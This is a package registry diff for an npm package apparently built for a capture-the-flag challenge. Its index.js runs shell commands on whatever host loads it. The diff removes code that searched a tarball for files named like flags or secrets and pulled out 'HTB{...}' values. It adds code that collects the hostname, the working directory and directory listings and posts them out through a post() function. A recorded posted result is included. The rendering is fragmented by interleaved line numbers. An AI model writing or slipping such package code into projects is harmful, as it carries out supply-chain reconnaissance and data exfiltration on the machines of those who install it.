ect-987654-ctf 0.0.7 → 0.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +1 -1
- package/index.js +9 -15
- package/last_post.json +3 -3
- package/package.json +1 -1
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -21,26 +21,20 @@ function post(data) {
|
|
|
21
21
|
}
|
|
22
22
|
|
|
23
23
|
try {
|
|
24
|
-
//
|
|
25
|
-
const
|
|
26
|
-
|
|
27
|
-
{ encoding: "utf8", timeout: 20000 }
|
|
28
|
-
);
|
|
24
|
+
// show current working dir and contents
|
|
25
|
+
const pwd = execSync("pwd", { encoding: "utf8" });
|
|
26
|
+
const ls = execSync("ls -lah", { encoding: "utf8" });
|
|
29
27
|
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
// Extract any file that matches the flag pattern and look for HTB{...}
|
|
33
|
-
flagContent = execSync(
|
|
34
|
-
`tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -iE 'flag|htb|secret' | head -n1) | grep -Eo 'HTB\\{[^}]+' || true`,
|
|
35
|
-
{ encoding: "utf8", timeout: 20000 }
|
|
36
|
-
);
|
|
37
|
-
}
|
|
28
|
+
// also check if the aspect-node.tar.gz exists
|
|
29
|
+
const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
|
|
38
30
|
|
|
39
31
|
post({
|
|
40
32
|
host: os.hostname(),
|
|
41
|
-
|
|
42
|
-
|
|
33
|
+
pwd,
|
|
34
|
+
ls,
|
|
35
|
+
check
|
|
43
36
|
});
|
|
37
|
+
|
|
44
38
|
} catch (e) {
|
|
45
39
|
post({ error: e.message });
|
|
46
40
|
}
|
package/last_post.json
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
{
|
|
2
|
-
"host": "
|
|
3
|
-
"
|
|
4
|
-
"
|
|
2
|
+
"host": "2fbf820d20ba",
|
|
3
|
+
"checked_count": 0,
|
|
4
|
+
"hits": []
|
|
5
5
|
}
|